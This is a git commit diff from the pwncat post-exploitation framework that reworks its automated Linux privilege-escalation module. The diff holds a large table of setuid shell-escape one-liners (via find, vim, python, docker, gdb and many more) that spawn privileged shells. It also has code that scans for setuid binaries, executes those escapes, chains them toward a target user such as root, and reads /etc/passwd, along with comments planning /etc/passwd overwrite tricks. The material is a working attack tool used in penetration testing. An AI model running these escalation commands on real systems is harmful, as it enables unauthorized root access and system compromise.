mirror of
https://github.com/calebstewart/pwncat.git
synced 2024-11-30 12:24:14 +01:00
Semi-working privesc framework
This commit is contained in:
Caleb Stewart
parent
e5867df0a0
commit
2d8c101712
@ -23,7 +23,7 @@ class Finder:
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for m in [SetuidMethod, SuMethod]:
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try:
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m.check(self.pty)
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self.methods.append(m())
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self.methods.append(m(self.pty))
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except PrivescError:
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pass
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@ -40,7 +40,7 @@ class Finder:
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current_user = self.pty.current_user
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if (
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target_user == current_user["name"]
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or current_user["id"] == 0
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or current_user["uid"] == 0
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or current_user["name"] == "root"
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):
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raise PrivescError(f"you are already {current_user['name']}")
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@ -48,7 +48,7 @@ class Finder:
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if starting_user is None:
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starting_user = current_user
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if len(chain) > depth:
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if depth is not None and len(chain) > depth:
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raise PrivescError("max depth reached")
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# Enumerate escalation options for this user
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@ -60,8 +60,8 @@ class Finder:
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for tech in techniques:
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if tech.user == target_user:
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try:
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tech.method.execute(tech)
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chain.append(tech)
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exit_command = tech.method.execute(tech)
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chain.append((tech, exit_command))
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return chain
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except PrivescError:
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pass
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@ -72,14 +72,15 @@ class Finder:
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if tech.user == target_user:
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continue
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try:
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tech.method.execute(tech)
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chain.append(tech)
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exit_command = tech.method.execute(tech)
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chain.append((tech, exit_command))
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except PrivescError:
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continue
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try:
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return self.escalate(target_user, depth, chain, starting_user)
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except PrivescError:
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self.pty.run("exit", wait=False)
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tech, exit_command = chain[-1]
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self.pty.run(exit_command, wait=False)
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chain.pop()
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raise PrivescError(f"no route to {target_user} found")
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@ -11,49 +11,56 @@ from pwncat.privesc.base import Method, PrivescError, Technique
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# https://gtfobins.github.io/#+suid
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known_setuid_privescs = {
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"env": ["{} /bin/bash -p"],
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"bash": ["{} -p"],
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"chmod": ["{} +s /bin/bash", "/bin/bash -p"],
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"chroot": ["{} / /bin/bash -p"],
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"dash": ["{} -p"],
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"ash": ["{}"],
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"docker": ["{} run -v /:/mnt --rm -it alpine chroot /mnt sh"],
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"emacs": ["""{} -Q -nw --eval '(term "/bin/sh -p")'"""],
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"find": ["{} . -exec /bin/sh -p \\; -quit"],
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"flock": ["{} -u / /bin/sh -p"],
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"gdb": [
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"""{} -nx -ex 'python import os; os.execl("/bin/bash", "bash", "-p")' -ex quit"""
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],
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"logsave": ["{} /dev/null /bin/bash -i -p"],
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"make": ["COMMAND='/bin/sh -p'", """{} -s --eval=$'x:\\n\\t-'\"$COMMAND\"""",],
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"nice": ["{} /bin/bash -p"],
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"node": [
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"""{} -e 'require("child_process").spawn("/bin/sh", ["-p"], {stdio: [0, 1, 2]});'"""
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],
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"nohup": ["""{} /bin/sh -p -c \"sh -p <$(tty) >$(tty) 2>$(tty)\""""],
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"perl": ["""{} -e 'exec "/bin/sh";'"""],
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"php": ["""{} -r \"pcntl_exec('/bin/sh', ['-p']);\""""],
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"python": ["""{} -c 'import os; os.execl("/bin/sh", "sh", "-p")'"""],
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"rlwrap": ["{} -H /dev/null /bin/sh -p"],
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"rpm": ["""{} --eval '%{lua:os.execute("/bin/sh", "-p")}'"""],
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"rpmquery": ["""{} --eval '%{lua:posix.exec("/bin/sh", "-p")}'"""],
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"rsync": ["""{} -e 'sh -p -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null"""],
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"run-parts": ["""{} --new-session --regex '^sh$' /bin --arg='-p'"""],
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"rvim": [
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"""{} -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'"""
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],
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"setarch": ["""{} $(arch) /bin/sh -p"""],
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"start-stop-daemon": ["""{} -n $RANDOM -S -x /bin/sh -- -p"""],
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"strace": ["""{} -o /dev/null /bin/sh -p"""],
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"tclsh": ["""{}""", """exec /bin/sh -p <@stdin >@stdout 2>@stderr; exit"""],
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"tclsh8.6": ["""{}""", """exec /bin/sh -p <@stdin >@stdout 2>@stderr; exit""",],
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"taskset": ["""{} 1 /bin/sh -p"""],
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"time": ["""{} /bin/sh -p"""],
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"timeout": ["""{} 7d /bin/sh -p"""],
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"unshare": ["""{} -r /bin/sh"""],
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"vim": ["""{} -c ':!/bin/sh' -c ':q'"""],
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"watch": ["""{} -x sh -c 'reset; exec sh 1>&0 2>&0'"""],
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"zsh": ["""{}"""],
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"env": ("{} /bin/bash -p", "exit"),
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"bash": ("{} -p", "exit"),
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"chmod": ("{} +s /bin/bash\n/bin/bash -p", "exit"),
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"chroot": ("{} / /bin/bash -p", "exit"),
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"dash": ("{} -p", "exit"),
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"ash": ("{}", "exit"),
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"docker": ("{} run -v /:/mnt --rm -it alpine chroot /mnt sh", "exit"),
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"emacs": ("""{} -Q -nw --eval '(term "/bin/sh -p")'""", "exit"),
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"find": ("{} . -exec /bin/sh -p \\; -quit", "exit"),
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"flock": ("{} -u / /bin/sh -p", "exit"),
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"gdb": (
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"""{} -nx -ex 'python import os; os.execl("/bin/bash", "bash", "-p")' -ex quit""",
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"exit",
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),
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"logsave": ("{} /dev/null /bin/bash -i -p", "exit"),
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"make": (
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"COMMAND='/bin/sh -p'",
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"""{} -s --eval=$'x:\\n\\t-'\"$COMMAND\"""",
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"exit",
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),
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"nice": ("{} /bin/bash -p", "exit"),
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"node": (
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"""{} -e 'require("child_process").spawn("/bin/sh", ("-p"), {stdio: (0, 1, 2)});'""",
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"exit",
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),
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"nohup": ("""{} /bin/sh -p -c \"sh -p <$(tty) >$(tty) 2>$(tty)\"""", "exit"),
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"perl": ("""{} -e 'exec "/bin/sh";'""", "exit"),
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"php": ("""{} -r \"pcntl_exec('/bin/sh', ('-p'));\"""", "exit"),
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"python": ("""{} -c 'import os; os.execl("/bin/sh", "sh", "-p")'""", "exit"),
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"rlwrap": ("{} -H /dev/null /bin/sh -p", "exit"),
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"rpm": ("""{} --eval '%{lua:os.execute("/bin/sh", "-p")}'""", "exit"),
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"rpmquery": ("""{} --eval '%{lua:posix.exec("/bin/sh", "-p")}'""", "exit"),
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"rsync": ("""{} -e 'sh -p -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null""", "exit"),
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"run-parts": ("""{} --new-session --regex '^sh$' /bin --arg='-p'""", "exit"),
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"rvim": (
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"""{} -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'""",
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"exit",
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),
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"setarch": ("""{} $(arch) /bin/sh -p""", "exit"),
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"start-stop-daemon": ("""{} -n $RANDOM -S -x /bin/sh -- -p""", "exit"),
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"strace": ("""{} -o /dev/null /bin/sh -p""", "exit"),
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"tclsh": ("""{}\nexec /bin/sh -p <@stdin >@stdout 2>@stderr; exit""", "exit"),
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"tclsh8.6": ("""{}\nexec /bin/sh -p <@stdin >@stdout 2>@stderr; exit""", "exit"),
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"taskset": ("""{} 1 /bin/sh -p""", "exit"),
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"time": ("""{} /bin/sh -p""", "exit"),
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"timeout": ("""{} 7d /bin/sh -p""", "exit"),
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"unshare": ("""{} -r /bin/sh""", "exit"),
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"vim": ("""{} -c ':!/bin/sh' -c ':q'""", "exit"),
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"watch": ("""{} -x sh -c 'reset; exec sh 1>&0 2>&0'""", "exit"),
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"zsh": ("""{}""", "exit"),
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# need to add in cp trick to overwrite /etc/passwd
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# need to add in curl trick to overwrite /etc/passwd
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# need to add in wget trick to overwrite /etc/passwd
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@ -73,62 +80,82 @@ known_setuid_privescs = {
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class SetuidMethod(Method):
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name = "setuid"
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BINARIES = ["find"]
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BINARIES = ["find", "stat"]
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def __init__(self, pty: "pwncat.pty.PtyHandler"):
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super(SetuidMethod, self).__init__(pty)
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self.suid_paths = None
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def find_suid(self):
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# Spawn a find command to locate the setuid binaries
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delim = self.pty.process("find / -perm -4000 -print 2>/dev/null")
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files = []
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self.suid_paths = {}
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while True:
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path = self.pty.recvuntil(b"\n").strip()
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progress("searching for setuid binaries")
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if delim in path:
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break
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files.append(path.decode("utf-8"))
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for path in files:
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user = (
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self.pty.run(f"stat -c '%U' {shlex.quote(path)}")
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.strip()
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.decode("utf-8")
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)
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if user not in self.suid_paths:
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self.suid_paths[user] = []
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self.suid_paths[user].append(path)
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def enumerate(self) -> List[Technique]:
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""" Find all techniques known at this time """
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def execute(self):
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""" Look for setuid binaries and attempt to run"""
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if self.suid_paths is None:
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self.find_suid()
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find = self.pty.which("find")
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for user, paths in self.suid_paths.items():
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for path in paths:
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for name, cmd in known_setuid_privescs.items():
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if os.path.basename(path) == name:
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yield Technique(user, self, (path, name, cmd))
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setuid_output = []
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delim = self.pty.process(f"find / -user root -perm -4000 -print 2>/dev/null")
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def execute(self, technique: Technique):
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""" Run the specified technique """
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while True:
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line = self.pty.recvuntil(b"\n").strip()
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progress("searching for setuid binaries")
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path, name, commands = technique.ident
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if delim in line:
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break
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setuid_output.append(line)
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info(
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f"attempting potential privesc with {Fore.GREEN}{Style.BRIGHT}{path}{Style.RESET_ALL}",
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)
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for suid in setuid_output:
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suid = suid.decode("utf-8")
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for privesc, commands in known_setuid_privescs.items():
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if os.path.basename(suid) != privesc:
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continue
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before_shell_level = self.pty.run("echo $SHLVL").strip()
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before_shell_level = int(before_shell_level) if before_shell_level != b"" else 0
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info(
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f"attempting potential privesc with {Fore.GREEN}{Style.BRIGHT}{suid}{Fore.RESET}{Style.RESET_ALL}",
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)
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# for each_command in commands:
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# self.pty.run(each_command.format(path), wait=False)
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before_shell_level = self.pty.run("echo $SHLVL").strip()
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before_shell_level = (
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int(before_shell_level) if before_shell_level != b"" else 0
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)
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# Run the start commands
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self.pty.run(commands[0].format(path) + "\n")
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for each_command in commands:
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self.pty.run(each_command.format(suid), wait=False)
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# sleep(0.1)
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user = self.pty.run("whoami").strip().decode("utf-8")
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if user == technique.user:
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success("privesc succeeded")
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return commands[1]
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else:
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error(f"privesc failed (still {user} looking for {technique.user})")
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after_shell_level = self.pty.run("echo $SHLVL").strip()
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after_shell_level = (
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int(after_shell_level) if after_shell_level != b"" else 0
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)
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if after_shell_level > before_shell_level:
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info("exiting spawned inner shell")
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self.pty.run(commands[1], wait=False) # here be dragons
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sleep(0.1)
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user = self.pty.run("whoami").strip()
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if user == b"root":
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success("privesc succeeded")
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return True
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else:
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error("privesc failed")
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after_shell_level = self.pty.run("echo $SHLVL").strip()
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after_shell_level = (
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int(after_shell_level) if after_shell_level != b"" else 0
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)
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if after_shell_level > before_shell_level:
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info("exiting spawned inner shell")
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self.pty.run("exit", wait=False) # here be dragons
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continue
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error("no known setuid privescs found")
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return False
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raise PrivescError(f"escalation failed for {technique}")
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@ -210,7 +210,7 @@ class PtyHandler:
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# We should always get a response within 3 seconds...
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self.client.settimeout(1)
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util.info("probing for prompt...", overlay=False)
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util.info("probing for prompt...", overlay=True)
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start = time.time()
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prompt = b""
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try:
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@ -222,13 +222,13 @@ class PtyHandler:
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# We assume if we got data before sending data, there is a prompt
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if prompt != b"":
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self.has_prompt = True
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util.info(f"found a prompt", overlay=False)
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util.info(f"found a prompt", overlay=True)
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else:
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self.has_prompt = False
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util.info("no prompt observed", overlay=False)
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util.info("no prompt observed", overlay=True)
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# Send commands without a new line, and see if the characters are echoed
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util.info("checking for echoing", overlay=False)
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util.info("checking for echoing", overlay=True)
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test_cmd = b"echo"
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self.client.send(test_cmd)
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response = b""
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@ -241,10 +241,10 @@ class PtyHandler:
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if response == test_cmd:
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self.has_echo = True
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util.info("found input echo", overlay=False)
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util.info("found input echo", overlay=True)
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else:
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self.has_echo = False
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util.info(f"no echo observed", overlay=False)
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util.info(f"no echo observed", overlay=True)
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self.client.send(b"\n")
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response = self.client.recv(1)
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@ -324,6 +324,8 @@ class PtyHandler:
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util.info("synchronizing terminal state", overlay=True)
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self.do_sync([])
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self.privesc = privesc.Finder(self)
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# Force the local TTY to enter raw mode
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self.enter_raw()
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@ -495,11 +497,18 @@ class PtyHandler:
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parser = argparse.ArgumentParser(prog="privesc")
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parser.add_argument(
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"--method",
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"-m",
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choices=privesc.get_names(),
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"--user",
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"-u",
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choices=[user for user in self.users],
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default="root",
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help="the target user",
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)
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parser.add_argument(
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"--depth",
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"-d",
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type=int,
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default=None,
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help="set the privesc method (default: auto)",
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help="Maximum depth for the privesc search (default: no maximum)",
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)
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try:
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@ -509,17 +518,9 @@ class PtyHandler:
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return
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try:
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# Locate an appropriate privesc class
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PrivescClass = privesc.find(self, args.method)
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self.privesc.escalate(args.user, args.depth)
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except privesc.PrivescError as exc:
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util.error(f"{exc}")
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return
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privesc_object = PrivescClass(self)
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succeeded = privesc_object.execute()
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if succeeded:
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self.do_back([])
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util.error(f"escalation failed: {exc}")
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@with_parser
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def do_download(self, args):
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@ -864,9 +865,12 @@ class PtyHandler:
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self.known_users = {}
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passwd = self.run("cat /etc/passwd")
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passwd = self.run("cat /etc/passwd").decode("utf-8")
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for line in passwd.split("\n"):
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line = line.split(":")
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line = line.strip()
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if line == "":
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continue
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line = line.strip().split(":")
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user_data = {
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"name": line[0],
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"password": None,
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